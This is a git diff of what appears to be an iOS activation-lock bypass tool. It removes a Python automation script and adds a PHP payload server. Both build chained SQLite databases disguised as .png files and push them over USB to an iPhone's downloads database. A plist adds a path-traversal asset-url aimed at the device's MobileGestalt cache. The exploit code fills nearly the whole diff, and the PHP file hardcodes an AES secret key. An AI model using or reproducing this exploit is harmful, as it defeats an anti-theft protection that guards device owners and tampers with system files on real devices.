-            # Regex: find unistr('...') and convert \uXXXX to chars
-            def unistr_sub(match):
-                content = match.group(1)
-                # Convert \uXXXX to actual unicode characters
-                # Note: The SQL dump has \\XXXX format, so we look for 4 hex digits
-                decoded = re.sub(r'\\([0-9A-Fa-f]{4})', 
-                               lambda m: binascii.unhexlify(m.group(1)).decode('utf-16-be'), 
-                               content)
-                return f"'{decoded}'"
-
-            sql_content = re.sub(r"unistr\s*\(\s*'([^']*)'\s*\)", unistr_sub, sql_content, flags=re.IGNORECASE)
-            
-            # Just in case unistr remains (simple cleanup)
-            sql_content = re.sub(r"unistr\s*\(\s*('[^']*')\s*\)", r"\1", sql_content, flags=re.IGNORECASE)
-
-            if os.path.exists(output_path): os.remove(output_path)
-            
-            conn = sqlite3.connect(output_path)
-            cursor = conn.cursor()
-            cursor.executescript(sql_content)
-            conn.commit()
-            conn.close()
-            return True
-        except Exception as e:
-            print(f"{Style.RED}DB Gen Error: {e}{Style.RESET}")
-            return False
-
-    def generate(self, prd, guid, sn, local_server):
-        # Normalize Product ID
-        prd_safe = prd.replace(',', '-')
-        
-        # 1. Locate MobileGestalt
-        plist_path = os.path.join(self.asset_root, "Maker", prd_safe, "com.apple.MobileGestalt.plist")
-        if not os.path.exists(plist_path):
-            print(f"{Style.RED}[✗] Asset missing: {plist_path}{Style.RESET}")
-            return None
-
-        # 2. Create 'fixedfile' (Zipped Plist)
-        # Generate random token for obfuscation
-        token1 = binascii.hexlify(os.urandom(8)).decode()
-        zip_name = f"payload_{token1}.zip"
-        zip_path = os.path.join(self.server_root, zip_name)
-        
-        with zipfile.ZipFile(zip_path, 'w') as zf:
-            zf.write(plist_path, "Caches/com.apple.MobileGestalt.plist")
-        
-        # Rename to extensionless file as per original exploit
-        fixedfile_name = f"fixedfile_{token1}"
-        fixedfile_path = os.path.join(self.server_root, fixedfile_name)
-        os.rename(zip_path, fixedfile_path)
-        fixedfile_url = local_server.get_file_url(fixedfile_name)
-
-        # 3. Create BLDatabase (belliloveu.png)
-        # Inject URL 1
-        bl_sql = BL_STRUCTURE_SQL.replace('KEYOOOOOO', fixedfile_url)
-        
-        token2 = binascii.hexlify(os.urandom(8)).decode()
-        bl_db_name = f"belliloveu_{token2}.png"
-        bl_db_path = os.path.join(self.server_root, bl_db_name)
-        
-        if not self._create_db_from_sql(bl_sql, bl_db_path): return None
-        bl_url = local_server.get_file_url(bl_db_name)
-
-        # 4. Create Final Downloads DB
-        # Inject URL 2 and GUID
-        dl_sql = DOWNLOADS_STRUCTURE_SQL.replace('https://google.com', bl_url)
-        dl_sql = dl_sql.replace('GOODKEY', guid)
-        
-        token3 = binascii.hexlify(os.urandom(8)).decode()
-        final_db_name = f"downloads_{token3}.sqlitedb" # Keep correct extension for local push
-        final_db_path = os.path.join(self.server_root, final_db_name) # We don't serve this, we push it via USB
-        
-        if not self._create_db_from_sql(dl_sql, final_db_path): return None
-        
-        return final_db_path
-
-class BypassAutomation:
-    def __init__(self):
-        self.timeouts = {'asset_wait': 300, 'asset_delete_delay': 15, 'reboot_wait': 300, 'syslog_collect': 180}
-        self.mount_point = os.path.join(os.path.expanduser("~"), f".ifuse_mount_{os.getpid()}")
-        self.afc_mode = None
-        self.device_info = {}
-        self.guid = None
-        
-        # Server Components
-        self.server = LocalServer()
-        self.generator = PayloadGenerator(self.server.serve_dir, os.getcwd()) # Assets relative to CWD
-
-        atexit.register(self._cleanup)
-
-    def log(self, msg, level='info'):
-        if level == 'info': print(f"{Style.GREEN}[✓]{Style.RESET} {msg}")
-        elif level == 'error': print(f"{Style.RED}[✗]{Style.RESET} {msg}")
-        elif level == 'warn': print(f"{Style.YELLOW}[⚠]{Style.RESET} {msg}")
-        elif level == 'step':
-            print(f"\n{Style.BOLD}{Style.CYAN}" + "━" * 40 + f"{Style.RESET}")
-            print(f"{Style.BOLD}{Style.BLUE}▶{Style.RESET} {Style.BOLD}{msg}{Style.RESET}")
-            print(f"{Style.CYAN}" + "━" * 40 + f"{Style.RESET}")
-        elif level == 'detail': print(f"{Style.DIM}  ╰─▶{Style.RESET} {msg}")
-        elif level == 'success': print(f"{Style.GREEN}{Style.BOLD}[✓ SUCCESS]{Style.RESET} {msg}")
-
-    def _run_cmd(self, cmd, timeout=None):
-        try:
-            res = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
-            return res.returncode, res.stdout.strip(), res.stderr.strip()
-        except subprocess.TimeoutExpired: return 124, "", "Timeout"
-        except Exception as e: return 1, "", str(e)
-
-    def verify_dependencies(self):
-        self.log("Verifying System Requirements...", "step")
-        # Check for assets/Maker
-        if not os.path.isdir(os.path.join(os.getcwd(), "assets", "Maker")):
-            self.log("Missing 'assets/Maker' folder in current directory.", "error")
-            sys.exit(1)
-
-        if shutil.which("ifuse"): self.afc_mode = "ifuse"
-        else: self.afc_mode = "pymobiledevice3"
-        self.log(f"AFC Transfer Mode: {self.afc_mode}", "info")
-
-    def mount_afc(self):
-        if self.afc_mode != "ifuse": return True
-        os.makedirs(self.mount_point, exist_ok=True)
-        code, out, _ = self._run_cmd(["mount"])
-        if self.mount_point in out: return True
-        for i in range(5):
-            if self._run_cmd(["ifuse", self.mount_point])[0] == 0: return True
-            time.sleep(2)
-        return False
-
-    def unmount_afc(self):
-        if self.afc_mode == "ifuse" and os.path.exists(self.mount_point):
-            self._run_cmd(["umount", self.mount_point])
-            try: os.rmdir(self.mount_point)
-            except: pass
-
-    def detect_device(self):
-        self.log("Detecting Device...", "step")
-        code, out, _ = self._run_cmd(["ideviceinfo"])
-        if code != 0: 
-            self.log("No device found via USB", "error")
-            sys.exit(1)
-        
-        info = {}
-        for line in out.splitlines():
-            if ": " in line:
-                key, val = line.split(": ", 1)
-                info[key.strip()] = val.strip()
-        self.device_info = info
-        
-        print(f"\n{Style.BOLD}Device: {info.get('ProductType','Unknown')} (iOS {info.get('ProductVersion','?')}){Style.RESET}")
-        print(f"UDID: {info.get('UniqueDeviceID','?')}")
-        
-        if info.get('ActivationState') == 'Activated':
-            print(f"{Style.YELLOW}Warning: Device already activated.{Style.RESET}")
-
-    def get_guid(self):
-        self.log("Extracting System Logs...", "step")
-        udid = self.device_info['UniqueDeviceID']
-        log_path = f"{udid}.logarchive"
-        if os.path.exists(log_path): shutil.rmtree(log_path)
-        
-        self._run_cmd(["pymobiledevice3", "syslog", "collect", log_path], timeout=180)
-        
-        if not os.path.exists(log_path):
-            self.log("Archive failed, trying live watch...", "warn")
-            _, out, _ = self._run_cmd(["pymobiledevice3", "syslog", "watch"], timeout=60)
-            logs = out
-        else:
-            tmp = "final.logarchive"
-            if os.path.exists(tmp): shutil.rmtree(tmp)
-            shutil.move(log_path, tmp)
-            _, logs, _ = self._run_cmd(["/usr/bin/log", "show", "--style", "syslog", "--archive", tmp])
-            shutil.rmtree(tmp)
-
-        guid_pattern = re.compile(r'SystemGroup/([0-9A-Fa-f]{8}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{12})/')
-        for line in logs.splitlines():
-            if "BLDatabaseManager" in line:
-                match = guid_pattern.search(line)
-                if match: return match.group(1).upper()
-        return None
-
-    def run(self):
-        os.system('clear')
-        print(f"{Style.BOLD}{Style.MAGENTA}iOS Offline Activator (Python Edition){Style.RESET}\n")
-        
-        self.verify_dependencies()
-        self.server.start() # Start HTTP server
-        self.detect_device()
-        
-        input(f"{Style.YELLOW}Press Enter to start...{Style.RESET}")
-        
-        # 1. Reboot
-        self.log("Rebooting device...", "step")
-        self._run_cmd(["pymobiledevice3", "diagnostics", "restart"])
-        time.sleep(30)
-        
-        # 2. Get GUID
-        self.guid = self.get_guid()
-        if not self.guid:
-            self.log("Could not find GUID in logs.", "error")
-            sys.exit(1)
-        self.log(f"GUID: {self.guid}", "success")
-        
-        # 3. Generate Payloads (Offline Logic)
-        self.log("Generating Payload (Offline)...", "step")
-        final_db_path = self.generator.generate(
-            self.device_info['ProductType'], 
-            self.guid, 
-            self.device_info['SerialNumber'],
-            self.server
-        )
-        
-        if not final_db_path:
-            self.log("Payload generation failed.", "error")
-            sys.exit(1)
-        self.log("Payload Generated Successfully.", "success")
-
-        # 4. Upload
-        self.log("Uploading...", "step")
-        target = "/Downloads/downloads.28.sqlitedb"
-        
-        if self.afc_mode == "ifuse":
-            self.mount_afc()
-            fpath = self.mount_point + target
-            if os.path.exists(fpath): os.remove(fpath)
-            shutil.copy(final_db_path, fpath)
-        else:
-            self._run_cmd(["pymobiledevice3", "afc", "rm", target])
-            self._run_cmd(["pymobiledevice3", "afc", "push", final_db_path, target])
-            
-        self.log("Payload Deployed. Rebooting...", "success")
-        self._run_cmd(["pymobiledevice3", "diagnostics", "restart"])
-        
-        print(f"\n{Style.GREEN}Process Complete. Device should activate after reboot.{Style.RESET}")
-        
-        # Keep script alive for server to serve files if needed by device immediately
-        self.log("Keeping server alive for 60s to ensure downloads complete...", "info")
-        time.sleep(60)
-        
-        self._cleanup()
-
-    def _cleanup(self): 
-        self.unmount_afc()
-        self.server.stop()
-
-if __name__ == "__main__":
-    try:
-        BypassAutomation().run()
-    except KeyboardInterrupt:
-        sys.exit(130)
-    except Exception as e:
-        print(f"Fatal Error: {e}")
-        sys.exit(1)

BIN
server/public/Maker/.DS_Store


+ 0 - 0
server/assets/Maker/iPad11-1/com.apple.MobileGestalt.plist → server/public/Maker/iPad11-1/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPad11-2/com.apple.MobileGestalt.plist → server/public/Maker/iPad11-2/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPad11-3/com.apple.MobileGestalt.plist → server/public/Maker/iPad11-3/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPad11-4/com.apple.MobileGestalt.plist → server/public/Maker/iPad11-4/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPad11-6/com.apple.MobileGestalt 2.plist → server/public/Maker/iPad11-6/com.apple.MobileGestalt 2.plist


+ 0 - 0
server/assets/Maker/iPad11-6/com.apple.MobileGestalt.plist → server/public/Maker/iPad11-6/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPad11-7/com.apple.MobileGestalt.plist → server/public/Maker/iPad11-7/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPad12-1/com.apple.MobileGestalt.plist → server/public/Maker/iPad12-1/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPad12-2/com.apple.MobileGestalt.plist → server/public/Maker/iPad12-2/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPad13-1/com.apple.MobileGestalt.plist → server/public/Maker/iPad13-1/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPad13-10/com.apple.MobileGestalt.plist → server/public/Maker/iPad13-10/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPad13-16/com.apple.MobileGestalt.plist → server/public/Maker/iPad13-16/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPad13-18/com.apple.MobileGestalt.plist → server/public/Maker/iPad13-18/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPad13-19/com.apple.MobileGestalt.plist → server/public/Maker/iPad13-19/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPad13-2/com.apple.MobileGestalt.plist → server/public/Maker/iPad13-2/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPad13-4/com.apple.MobileGestalt.plist → server/public/Maker/iPad13-4/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPad13-5/com.apple.MobileGestalt.plist → server/public/Maker/iPad13-5/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPad13-6/com.apple.MobileGestalt.plist → server/public/Maker/iPad13-6/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPad13-7/com.apple.MobileGestalt.plist → server/public/Maker/iPad13-7/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPad13-8/com.apple.MobileGestalt.plist → server/public/Maker/iPad13-8/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPad14-1/com.apple.MobileGestalt.plist → server/public/Maker/iPad14-1/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPad14-10/com.apple.MobileGestalt.plist → server/public/Maker/iPad14-10/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPad14-3/com.apple.MobileGestalt.plist → server/public/Maker/iPad14-3/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPad14-4/com.apple.MobileGestalt.plist → server/public/Maker/iPad14-4/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPad14-5/com.apple.MobileGestalt.plist → server/public/Maker/iPad14-5/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPad14-8/com.apple.MobileGestalt.plist → server/public/Maker/iPad14-8/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPad14-9/com.apple.MobileGestalt.plist → server/public/Maker/iPad14-9/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPad15-7/com.apple.MobileGestalt.plist → server/public/Maker/iPad15-7/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPad8-1/com.apple.MobileGestalt.plist → server/public/Maker/iPad8-1/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPad8-10/com.apple.MobileGestalt.plist → server/public/Maker/iPad8-10/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPad8-11/com.apple.MobileGestalt.plist → server/public/Maker/iPad8-11/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPad8-12/com.apple.MobileGestalt.plist → server/public/Maker/iPad8-12/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPad8-5/com.apple.MobileGestalt.plist → server/public/Maker/iPad8-5/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPad8-7/com.apple.MobileGestalt.plist → server/public/Maker/iPad8-7/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPad8-9/com.apple.MobileGestalt.plist → server/public/Maker/iPad8-9/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPhone11-2-NEW/com.apple.MobileGestalt.plist → server/public/Maker/iPhone11-2-NEW/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPhone11-2/com.apple.MobileGestalt.plist → server/public/Maker/iPhone11-2/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPhone11-2/com.apple.MobileGestalt.plist----F → server/public/Maker/iPhone11-2/com.apple.MobileGestalt.plist----F


+ 0 - 0
server/assets/Maker/iPhone11-2/com.apple.MobileGestalt.plistXSta3i18.7 → server/public/Maker/iPhone11-2/com.apple.MobileGestalt.plistXSta3i18.7


+ 0 - 0
server/assets/Maker/iPhone11-6/com.apple.MobileGestalt.plist → server/public/Maker/iPhone11-6/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPhone11-8-OLD/com.apple.MobileGestalt.plist → server/public/Maker/iPhone11-8-OLD/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPhone11-8-OLD/com.apple.MobileGestalt.plist------- → server/public/Maker/iPhone11-8-OLD/com.apple.MobileGestalt.plist-------


+ 0 - 0
server/assets/Maker/iPhone11-8/com.apple.MobileGestalt.plist → server/public/Maker/iPhone11-8/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPhone12-1/com.apple.MobileGestalt.plist → server/public/Maker/iPhone12-1/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPhone12-1/com.apple.MobileGestalt.plist---00 → server/public/Maker/iPhone12-1/com.apple.MobileGestalt.plist---00


+ 0 - 0
server/assets/Maker/iPhone12-3/com.apple.MobileGestalt.plist → server/public/Maker/iPhone12-3/com.apple.MobileGestalt.plist


BIN
server/public/Maker/iPhone12-5/.DS_Store


+ 0 - 0
server/assets/Maker/iPhone12-5/com.apple.MobileGestalt.plist → server/public/Maker/iPhone12-5/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPhone12-8/com.apple.MobileGestalt.plist → server/public/Maker/iPhone12-8/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPhone12-8/com.apple.MobileGestalt.plist----- → server/public/Maker/iPhone12-8/com.apple.MobileGestalt.plist-----


+ 0 - 0
server/assets/Maker/iPhone13-1/com.apple.MobileGestalt.plist → server/public/Maker/iPhone13-1/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPhone13-2/com.apple.MobileGestalt.plist → server/public/Maker/iPhone13-2/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPhone13-3/com.apple.MobileGestalt.plist → server/public/Maker/iPhone13-3/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPhone13-4/com.apple.MobileGestalt.plist → server/public/Maker/iPhone13-4/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPhone13-4/com.apple.MobileGestalt.plist----F → server/public/Maker/iPhone13-4/com.apple.MobileGestalt.plist----F


+ 0 - 0
server/assets/Maker/iPhone13-4/com.apple.MobileGestalt.plist11 → server/public/Maker/iPhone13-4/com.apple.MobileGestalt.plist11


+ 0 - 0
server/assets/Maker/iPhone14-2/com.apple.MobileGestalt.plist → server/public/Maker/iPhone14-2/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPhone14-3/com.apple.MobileGestalt.plist → server/public/Maker/iPhone14-3/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPhone14-4/com.apple.MobileGestalt.plist → server/public/Maker/iPhone14-4/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPhone14-5/com.apple.MobileGestalt.plist → server/public/Maker/iPhone14-5/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPhone14-6/com.apple.MobileGestalt.plist → server/public/Maker/iPhone14-6/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPhone14-7/com.apple.MobileGestalt.plist → server/public/Maker/iPhone14-7/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPhone14-8/com.apple.MobileGestalt.plist → server/public/Maker/iPhone14-8/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPhone15-2/com.apple.MobileGestalt.plist → server/public/Maker/iPhone15-2/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPhone15-3/com.apple.MobileGestalt.plist → server/public/Maker/iPhone15-3/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPhone15-4/com.apple.MobileGestalt.plist → server/public/Maker/iPhone15-4/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPhone15-5/com.apple.MobileGestalt.plist → server/public/Maker/iPhone15-5/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPhone16-1/com.apple.MobileGestalt.plist → server/public/Maker/iPhone16-1/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPhone16-2/com.apple.MobileGestalt.plist → server/public/Maker/iPhone16-2/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPhone17-1/com.apple.MobileGestalt.plist → server/public/Maker/iPhone17-1/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPhone17-1/com.apple.MobileGestalt.plist--آ → server/public/Maker/iPhone17-1/com.apple.MobileGestalt.plist--آ


+ 0 - 0
server/assets/Maker/iPhone17-2/com.apple.MobileGestalt.plist → server/public/Maker/iPhone17-2/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPhone17-3/com.apple.MobileGestalt.plist → server/public/Maker/iPhone17-3/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPhone17-4/com.apple.MobileGestalt.plist → server/public/Maker/iPhone17-4/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPhone18-2/com.apple.MobileGestalt.plist → server/public/Maker/iPhone18-2/com.apple.MobileGestalt.plist


+ 0 - 0
server/assets/Maker/iPhone18-4/com.apple.MobileGestalt.plist → server/public/Maker/iPhone18-4/com.apple.MobileGestalt.plist


+ 87 - 0
server/public/badfile.plist

@@ -0,0 +1,87 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+   
+    <key>appleId</key>
+    <string></string> 
+
+    <key>artistName</key>
+    <string>Sebastian Saenz</string>
+
+    <key>bookGenre</key>
+    <string>Contemporary Romance</string>
+
+    <key>bookId</key>
+    <integer>765107106</integer> 
+
+    <key>bookVersion</key>
+    <integer>1</integer>
+
+    <key>contentType</key>
+    <string>ebook</string>
+
+    <key>drmVersionNumber</key>
+    <integer>0</integer>
+
+    <key>isCompilation</key>
+    <false/>
+
+    <key>itemName</key>
+    <string>Cartas de Amor a la Luna</string>
+
+    <key>kind</key>
+    <string>book</string>
+
+    <key>playlistId</key>
+    <integer>0</integer>
+
+    <key>playlistName</key>
+    <string></string>
+
+    <key>purchaseDate</key>
+    <date>2025-05-03T15:15:53Z</date> 
+
+    <key>rating</key>
+    <dict>
+        <key>explicit</key>
+        <string>cleaned</string>
+    </dict>
+
+    <key>releaseDate</key>
+    <date>2025-05-01T00:00:00Z</date> 
+
+    <key>shortDescription</key>
+    <string></string>
+
+    <key>softwareIcon57x57URL</key>
+    <string>https://is1-ssl.mzstatic.com/image/thumb/Publication126/v4/3d/b6/0a/3db60a65-b1a5-51c3-b306-c58870663fd3/Portada.jpg/57x57bb.jpg</string>
+
+    <key>softwareIconNeedsShine</key>
+    <false/>
+
+    <key>softwareVersionExternalIdentifier</key>
+    <integer>0</integer>
+
+    <key>userRating</key>
+    <dict>
+        <key>rating</key>
+        <real>0.0</real>
+    </dict>
+
+
+    <key>download-id</key>
+    <string>J19N_PUB_190099164604738</string> 
+
+    <key>external-version-id</key>
+    <string>190099164604738</string>
+
+    <key>external-id</key>
+    <string>765107106</string>
+
+    <key>asset-url</key>
+    <string>../../../../../../private/var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library</string>
+
+  
+</dict>
+</plist>

File diff suppressed because it is too large
+ 59 - 0
server/public/downloads.28.png


+ 273 - 0
server/public/get.php

@@ -0,0 +1,273 @@
+<?php
+// Enable error reporting for debugging
+error_reporting(E_ALL);
+ini_set('display_errors', 1);
+
+// Function to generate random directory name
+function generateRandomName($length = 16) {
+    return bin2hex(random_bytes($length / 2));
+}
+
+// Function to read SQL dump from .png file
+function readSQLDump($filename) {
+    if (!file_exists($filename)) {
+        die("Error: File $filename not found");
+    }
+    return file_get_contents($filename);
+}
+
+// Function to create SQLite database from SQL dump
+function createSQLiteFromDump($sqlDump, $outputFile) {
+    try {
+        // Remove or replace ALL unistr() functions - more aggressive approach
+        // Match unistr with single or double quotes, with or without spaces
+        $sqlDump = preg_replace_callback(
+            "/unistr\s*\(\s*['\"]([^'\"]*)['\"]\\s*\)/i",
+            function($matches) {
+                $str = $matches[1];
+                // Convert \XXXX to actual unicode characters
+                $str = preg_replace_callback(
+                    '/\\\\([0-9A-Fa-f]{4})/',
+                    function($m) {
+                        return mb_convert_encoding(pack('H*', $m[1]), 'UTF-8', 'UCS-2BE');
+                    },
+                    $str
+                );
+                return "'" . str_replace("'", "''", $str) . "'";
+            },
+            $sqlDump
+        );
+        
+        // Alternative: If still failing, just remove unistr entirely and keep the string
+        $sqlDump = preg_replace("/unistr\s*\(\s*(['\"][^'\"]*['\"])\s*\)/i", "$1", $sqlDump);
+        
+        // Create SQLite database
+        $db = new SQLite3($outputFile);
+        
+        // Split SQL dump into individual statements
+        $statements = explode(';', $sqlDump);
+        
+        foreach ($statements as $statement) {
+            $statement = trim($statement);
+            if (!empty($statement) && strlen($statement) > 5) {
+                // Execute statement, suppress errors
+                @$db->exec($statement . ';');
+            }
+        }
+        
+        $db->close();
+        return true;
+    } catch (Exception $e) {
+        die("Error creating SQLite database: " . $e->getMessage());
+    }
+}
+
+// Стало:
+$basePath = __DIR__;  // ← ВСЕГДА текущая папка скрипта
+
+// Get parameters from URL
+$prd = isset($_GET['prd']) ? $_GET['prd'] : '';
+$guid = isset($_GET['guid']) ? $_GET['guid'] : '';
+$sn = isset($_GET['sn']) ? $_GET['sn'] : '';
+
+if (empty($prd) || empty($guid) || empty($sn)) {
+    die("Error: Missing required parameters (prd, guid, sn)");
+}
+
+// Replace comma with dash in prd
+$prdFormatted = str_replace(',', '-', $prd);
+
+// Step 1: Get the plist file
+$plistPath = "$basePath/Maker/$prdFormatted/com.apple.MobileGestalt.plist";
+
+// Debug: Check actual file system
+if (!file_exists($plistPath)) {
+    // Try alternative paths
+    $altPath1 = __DIR__ . "/Maker/$prdFormatted/com.apple.MobileGestalt.plist";
+    $altPath2 = $_SERVER['DOCUMENT_ROOT'] . "/bee33/Maker/$prdFormatted/com.apple.MobileGestalt.plist";
+    
+    if (file_exists($altPath1)) {
+        $plistPath = $altPath1;
+        $basePath = __DIR__;
+    } elseif (file_exists($altPath2)) {
+        $plistPath = $altPath2;
+        $basePath = $_SERVER['DOCUMENT_ROOT'] . "/bee33";
+    } else {
+        die("Error: Plist file not found. Tried:\n" . 
+            "1. $plistPath\n" . 
+            "2. $altPath1\n" . 
+            "3. $altPath2\n" .
+            "Script Dir: " . __DIR__ . "\n" .
+            "Document Root: " . $_SERVER['DOCUMENT_ROOT']);
+    }
+}
+
+// Step 2: Create ZIP file with Caches folder
+$randomName1 = generateRandomName();
+$firstStepDir = "$basePath/firststp/$randomName1";
+if (!is_dir($firstStepDir)) {
+    mkdir($firstStepDir, 0755, true);
+}
+
+$zipPath = "$firstStepDir/temp.zip";
+$zip = new ZipArchive();
+
+if ($zip->open($zipPath, ZipArchive::CREATE) !== TRUE) {
+    die("Error: Cannot create ZIP file");
+}
+
+// Add plist to Caches folder in zip
+$zip->addFile($plistPath, "Caches/com.apple.MobileGestalt.plist");
+$zip->close();
+
+// Rename zip to fixedfile
+$fixedFilePath = "$firstStepDir/fixedfile";
+rename($zipPath, $fixedFilePath);
+
+// Get the URL for fixedfile
+$protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http";
+$host = $_SERVER['HTTP_HOST'];
+$baseUrl = "$protocol://$host";
+$fixedFileUrl = "$baseUrl/firststp/$randomName1/fixedfile";
+
+// Step 3: Process BLDatabaseManager.png
+$blDatabaseDump = readSQLDump("$basePath/BLDatabaseManager.png");
+
+// Replace the URL in the dump
+$blDatabaseDump = str_replace(
+    'KEYOOOOOO',
+    $fixedFileUrl,
+    $blDatabaseDump
+);
+
+// Create SQLite database
+$randomName2 = generateRandomName();
+$secondStepDir = "$basePath/2ndd/$randomName2";
+if (!is_dir($secondStepDir)) {
+    mkdir($secondStepDir, 0755, true);
+}
+
+$blSqlitePath = "$secondStepDir/BLDatabaseManager.sqlite";
+createSQLiteFromDump($blDatabaseDump, $blSqlitePath);
+
+// Rename to BLDatabaseM.png
+$blFinalPath = "$secondStepDir/belliloveu.png";
+rename($blSqlitePath, $blFinalPath);
+
+// Get the URL for BLDatabaseM.png
+$blDatabaseUrl = "$baseUrl/2ndd/$randomName2/belliloveu.png";
+
+// Step 4: Process downloads.28.png
+$downloadsDump = readSQLDump("$basePath/downloads.28.png");
+
+// Replace URLs and GOODKEY
+$downloadsDump = str_replace('https://google.com', $blDatabaseUrl, $downloadsDump);
+$downloadsDump = str_replace('GOODKEY', "$guid", $downloadsDump);
+
+// Create final SQLite database
+$randomName3 = generateRandomName();
+$lastStepDir = "$basePath/last/$randomName3";
+if (!is_dir($lastStepDir)) {
+    mkdir($lastStepDir, 0755, true);
+}
+
+$finalSqlitePath = "$lastStepDir/downloads.sqlitedb";
+createSQLiteFromDump($downloadsDump, $finalSqlitePath);
+
+// Rename to filework.png
+$finalPath = "$lastStepDir/apllefuckedhhh.png";
+rename($finalSqlitePath, $finalPath);
+
+// Get the URL for final file
+$finalUrl = "$baseUrl/last/$randomName3/apllefuckedhhh.png";
+function encryptAES($data, $key) {
+    $method = 'aes-256-cbc';
+    $iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length($method));
+    $encrypted = openssl_encrypt($data, $method, $key, 0, $iv);
+    return base64_encode($encrypted . '::' . $iv);
+}
+
+$secretKey = 'E9454909B48F46B4904D34F79761BF4F'; // Keep this secure!
+
+// ENCRYPT THE URL, NOT THE PATH!
+//$finalUrl = "https://example.com";
+
+// Вместо echo $finalUrl;
+echo json_encode([
+    'success' => true,
+    'parameters' => [
+        'prd' => $prd,
+        'guid' => $guid,
+        'sn' => $sn
+    ],
+    'links' => [
+        'step1_fixedfile' => $fixedFileUrl,
+        'step2_bldatabase' => $blDatabaseUrl,
+        'step3_final' => $finalUrl
+    ],
+    'paths' => [
+        'step1' => $fixedFilePath,
+        'step2' => $blFinalPath,
+        'step3' => $finalPath
+    ]
+], JSON_PRETTY_PRINT);// يظهر الرابط
+
+//$fileContent = @file_get_contents($finalUrl);
+//if ($fileContent === false) {
+  //  http_response_code(500);
+//    exit('File not found');
+//}
+
+// تشفير الملف - CRITICAL: استخدم OPENSSL_RAW_DATA
+//$key = "YourSecretKey123";
+//$key = str_pad($key, 32, "\0"); // تأكد أن المفتاح 32 بايت بالضبط
+//$iv = openssl_random_pseudo_bytes(16);
+
+// استخدم OPENSSL_RAW_DATA بدلاً من 0
